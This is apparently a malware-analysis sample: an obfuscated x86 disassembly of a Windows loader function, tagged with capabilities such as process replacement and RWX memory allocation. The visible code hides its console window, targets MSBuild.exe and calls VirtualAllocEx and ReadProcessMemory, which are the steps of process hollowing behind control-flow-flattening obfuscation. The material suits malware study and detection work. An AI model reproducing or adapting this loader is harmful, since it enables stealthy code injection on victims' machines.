Function at 0x10003200
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x1006b000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x2ff477b
sub edx, 1
sub edx, 0x2ff477b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x11a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x119], al
mov dword [ebp - 0x120], 0x104afeec
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x802e24ff
je 0x1000ae71
jmp 0x1000327b
mov eax, dword [ebp - 0x124]
sub eax, 0x81c589b6
je 0x1000a3e9
jmp 0x10003291
mov eax, dword [ebp - 0x124]
sub eax, 0x8217ba63
je 0x10007918
jmp 0x100032a7
mov eax, dword [ebp - 0x124]
sub eax, 0x8351b519
je 0x1000a8dc
jmp 0x100032bd
mov eax, dword [ebp - 0x124]
sub eax, 0x83a3a8e4
je 0x10009582
jmp 0x100032d3
mov eax, dword [ebp - 0x124]
sub eax, 0x85664316
je 0x100083e7
jmp 0x100032e9
mov eax, dword [ebp - 0x124]
sub eax, 0x85b2620c
je 0x10005be6
jmp 0x100032ff
mov eax, dword [ebp - 0x124]
sub eax, 0x86683196
je 0x10006644
jmp 0x10003315
mov eax, dword [ebp - 0x124]
sub eax, 0x86edfa50
je 0x10006d29
jmp 0x1000332b
mov eax, dword [ebp - 0x124]
sub eax, 0x8757fcfc
je 0x10008271
jmp 0x10003341
mov eax, dword [ebp - 0x124]
sub eax, 0x882f17a1
je 0x100079f7
jmp 0x10003357
mov eax, dword [ebp - 0x124]
sub eax, 0x8837f404
je 0x10007aed
jmp 0x1000336d
mov eax, dword [ebp - 0x124]
sub eax, 0x8887d1d3
je 0x10008d83
jmp 0x10003383
mov eax, dword [ebp - 0x124]
sub eax, 0x89238d0e
je 0x10008dc1
jmp 0x10003399
mov eax, dword [ebp - 0x124]
sub eax, 0x893ccd04
je 0x10009256
jmp 0x100033af
mov eax, dword [ebp - 0x124]
sub eax, 0x89f3ab06
je 0x10005882
jmp 0x100033c5
mov eax, dword [ebp - 0x124]
sub eax, 0x8aee5abf
je 0x10007355
jmp 0x100033db
mov eax, dword [ebp - 0x124]
sub eax, 0x8b563bf6
je 0x1000af82
jmp 0x100033f1
mov eax, dword [ebp - 0x124]
sub eax, 0x8bbf373b
je 0x10009504
jmp 0x10003407
mov eax, dword [ebp - 0x124]
sub eax, 0x8c1ef09b
je 0x10006e43
jmp 0x1000341d
mov eax, dword [ebp - 0x124]
sub eax, 0x8c88a076
je 0x10006472
jmp 0x10003433
mov eax, dword [ebp - 0x124]
sub eax, 0x8d7e7b62
je 0x10009aed
jmp 0x10003449
mov eax, dword [ebp - 0x124]
sub eax, 0x8e0c9257
je 0x10006c3a
jmp 0x1000345f
mov eax, dword [ebp - 0x124]
sub eax, 0x8eb749e9
je 0x1000ab6b
jmp 0x10003475
mov eax, dword [ebp - 0x124]
sub eax, 0x8ecd4e87
je 0x1000aa04
jmp 0x1000348b
mov eax, dword [ebp - 0x124]
sub eax, 0x92e4f5c3
je 0x10008b4e
jmp 0x100034a1
mov eax, dword [ebp - 0x124]
sub eax, 0x9321700e
je 0x1000685a
jmp 0x100034b7
mov eax, dword [ebp - 0x124]
sub eax, 0x95291332
je 0x100085c2
jmp 0x100034cd
mov eax, dword [ebp - 0x124]
sub eax, 0x95dc870a
je 0x1000620f
jmp 0x100034e3
mov eax, dword [ebp - 0x124]
sub eax, 0x961cc4ad
je 0x1000abda
jmp 0x100034f9
mov eax, dword [ebp - 0x124]
sub eax, 0x96ba3e4b
je 0x10005f23
jmp 0x1000350f
mov eax, dword [ebp - 0x124]
sub eax, 0x96ea1fd8
je 0x10005df2
jmp 0x10003525
mov eax, dword [ebp - 0x124]
sub eax, 0x970faeb1
je 0x10005e01
jmp 0x1000353b
mov eax, dword [ebp - 0x124]
sub eax, 0x97406dbf
je 0x10008d0d
jmp 0x10003551
mov eax, dword [ebp - 0x124]
sub eax, 0x97ba7842
je 0x10009001
jmp 0x10003567
mov eax, dword [ebp - 0x124]
sub eax, 0x98ff2aeb
je 0x100063c2
jmp 0x1000357d
mov eax, dword [ebp - 0x124]
sub eax, 0x9986b1d9
je 0x10005e98
jmp 0x10003593
mov eax, dword [ebp - 0x124]
sub eax, 0x9a0be739
je 0x1000a0ae
jmp 0x100035a9
mov eax, dword [ebp - 0x124]
sub eax, 0x9a9de896
je 0x1000a1f7
jmp 0x100035bf
mov eax, dword [ebp - 0x124]
sub eax, 0x9bae63f0
je 0x10009b87
jmp 0x100035d5
mov eax, dword [ebp - 0x124]
sub eax, 0x9fdfd728
je 0x10006b50
jmp 0x100035eb
mov eax, dword [ebp - 0x124]
sub eax, 0xa018fe28
je 0x1000acee
jmp 0x10003601
mov eax, dword [ebp - 0x124]
sub eax, 0xa0754eb3
je 0x1000b039
jmp 0x10003617
mov eax, dword [ebp - 0x124]
sub eax, 0xa0ce49eb
je 0x10008679
jmp 0x1000362d
mov eax, dword [ebp - 0x124]
sub eax, 0xa28893fd
je 0x1000623f
jmp 0x10003643
mov eax, dword [ebp - 0x124]
sub eax, 0xa45bbf4b
je 0x1000830e
jmp 0x10003659
mov eax, dword [ebp - 0x124]
sub eax, 0xa5c14170
je 0x10005907
jmp 0x1000366f
mov eax, dword [ebp - 0x124]
sub eax, 0xa5c1f4eb
je 0x10006505
jmp 0x10003685
mov eax, dword [ebp - 0x124]
sub eax, 0xa5fd2daf
je 0x100064e8
jmp 0x1000369b
mov eax, dword [ebp - 0x124]
sub eax, 0xa63d9122
je 0x100069aa
jmp 0x100036b1
mov eax, dword [ebp - 0x124]
sub eax, 0xa7149cc4
je 0x1000ae2f
jmp 0x100036c7
mov eax, dword [ebp - 0x124]
sub eax, 0xa77681c1
je 0x100092b0
jmp 0x100036dd
mov eax, dword [ebp - 0x124]
sub eax, 0xa7d50b15
je 0x1000ad3c
jmp 0x100036f3
mov eax, dword [ebp - 0x124]
sub eax, 0xa7e874f9
je 0x1000aafc
jmp 0x10003709
mov eax, dword [ebp - 0x124]
sub eax, 0xa801c397
je 0x10006977
jmp 0x1000371f
mov eax, dword [ebp - 0x124]
sub eax, 0xa8289358
je 0x1000a206
jmp 0x10003735
mov eax, dword [ebp - 0x124]
sub eax, 0xa8c186be
je 0x10007109
jmp 0x1000374b
mov eax, dword [ebp - 0x124]
sub eax, 0xa9ac9965
je 0x1000adbd
jmp 0x10003761
mov eax, dword [ebp - 0x124]
sub eax, 0xaa06a078
je 0x1000870b
jmp 0x10003777
mov eax, dword [ebp - 0x124]
sub eax, 0xaa7043c6
je 0x100069fb
jmp 0x1000378d
mov eax, dword [ebp - 0x124]
sub eax, 0xab1cd9b6
je 0x1000684b
jmp 0x100037a3
mov eax, dword [ebp - 0x124]
sub eax, 0xab228e8d
je 0x10009336
jmp 0x100037b9
mov eax, dword [ebp - 0x124]
sub eax, 0xab4154ce
je 0x10009f8c
jmp 0x100037cf
mov eax, dword [ebp - 0x124]
sub eax, 0xab4d7669
je 0x10009d02
jmp 0x100037e5
mov eax, dword [ebp - 0x124]
sub eax, 0xab8effa8
je 0x10006f69
mov dword [ebp - 0x120], 0x6efff870
jmp 0x1000b175
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181fc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181f8]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x97f45df0
sub edx, 1
sub edx, 0x97f45df0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba982465
mov ecx, 0x6c42c39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100183a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100183a0]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x7b7749fb
jmp 0x1000b175
mov dword [ebp - 0x120], 0x970faeb1
jmp 0x1000b175
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018394]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xfce513c9
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa7e874f9
mov ecx, 0x4e01014e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018390]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xc7236806
jmp 0x1000b175
mov dword [ebp - 0x120], 0x1c511ecb
jmp 0x1000b175
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018384]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018380]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xf2daedb1
jmp 0x1000b175
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001835c]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x7343c619
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x4062be55
sub edx, 1
add edx, 0x4062be55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x50ccc475
mov ecx, 0xa5fd2daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dl, 1
mov eax, 0x67106e28
mov ecx, 0xa5c1f4eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018354]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x18848cec
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x104bdcfe
sub edx, 1
add edx, 0x104bdcfe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6e618851
mov ecx, 0xfe1b9f13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x9321700e
jmp 0x1000b175
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001834c]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xf9e1ee5f
jmp 0x1000b175
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001833c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018338]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xa63d9122
jmp 0x1000b175
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x6c7c2b93
sub edx, 1
sub edx, 0x6c7c2b93
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2b2f682
mov ecx, 0xaa7043c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x4ea80227
sub edx, 1
add edx, 0x4ea80227
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2b2f682
mov ecx, 0x37bcecb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xddfa4fd3
mov ecx, 0x4291dbc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x346a4928
jmp 0x1000b175
mov dl, 1
mov eax, 0x17886303
mov ecx, 0x645bafa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dl, 1
mov eax, 0xab8effa8
mov ecx, 0x5794133a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49de26ad
mov ecx, 0xe63595ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x7a524184
jmp 0x1000b175
mov dl, 1
mov eax, 0x7583c349
mov ecx, 0x60ea8f94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x704b1e8c
mov ecx, 0x65ca946e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x3db9e0dd
jmp 0x1000b175
mov dl, 1
mov eax, 0xb781e423
mov ecx, 0x16fcfc97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x235b75ea
sub edx, 1
add edx, 0x235b75ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44ab05f3
mov ecx, 0x35bd4f83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0xea20a2d8
jmp 0x1000b175
mov dword [ebp - 0x120], 0x7a45d46d
jmp 0x1000b175
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa7149cc4
mov ecx, 0xaa06a078
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x1e7241db
jmp 0x1000b175
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018230]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xc006b280
mov ecx, 0xd8b259c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x12ca1ea2
sub edx, 1
add edx, 0x12ca1ea2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3a441bf
mov ecx, 0x8887d1d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dl, 1
mov eax, 0x1360f370
mov ecx, 0x3bb97655
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018220]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x1360f370
jmp 0x1000b175
mov dl, 1
mov eax, 0x1e6a5a91
mov ecx, 0xacaebada
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0x329d67be
jmp 0x1000b175
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000c2d0
add esp, 0xc
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000c2d0
add esp, 0xc
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe0]
mov byte [eax], cl
mov eax, dword [ebp - 0xdc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x120], 0xab228e8d
jmp 0x1000b175
mov eax, dword [ebp - 0xe0]
mov dl, byte [eax]
mov eax, 0x5d823a13
mov ecx, 0x4d93d535
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov edx, dword [ebp - 0xd4]
mov eax, 0x70b67dce
mov ecx, 0x83a3a8e4
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x120], 0x2a49baf4
jmp 0x1000b175
mov dl, byte [ebp - 0x55]
mov eax, 0x20c2013e
mov ecx, 0xaf9264fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xbc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x55eb3b21
sub eax, edx
add eax, 0x55eb3b21
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0xf285b495
sub edx, 1
add edx, 0xf285b495
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x544887bc
mov ecx, 0x4abfa2fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb093d997
mov ecx, 0x6944598d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x8773d208
sub edx, 1
sub edx, 0x8773d208
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0754eb3
mov ecx, 0xb298a425
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0xc5917fa2
sub edx, 1
sub edx, 0xc5917fa2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6afadd43
mov ecx, 0x5433335
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov dword [ebp - 0x120], 0xa8289358
jmp 0x1000b175
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
sub ecx, 0xbf56512a
sub ecx, eax
add ecx, 0xbf56512a
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov dword [ebp - 0x120], 0xf2b3b2b3
jmp 0x1000b175
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x26efcd28
mov ecx, 0x38a20ba
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x1000b175
mov eax, dword [ebp - 0xe8]
add eax, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x120], 0xfde12fed
jmp 0x1000b175
mov dword [ebp - 0x120], 0x455a53
jmp 0x1000b175
mov dword [ebp - 0x120], 0x9986b1d9
jmp 0x1000b175
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xddc2fb51
jmp 0x1000b175
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181dc]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0x1a501b72
jmp 0x1000b175
mov dword [ebp - 0x120], 0x6a92ae7d
jmp 0x1000b175
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xb2178846
jmp 0x1000b175
mov dword [ebp - 0x120], 0x22781a75
jmp 0x1000b175
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov dword [ebp - 0x120], 0xa0ce49eb
jmp 0x1000b175
mov dword [ebp - 0x120], 0x3e49ef08
jmp 0x1000b175
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x120], 0xbd3dcab4
jmp 0x1000b175
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x120], 0xb298a425
jmp 0x1000b175
jmp 0x1000325f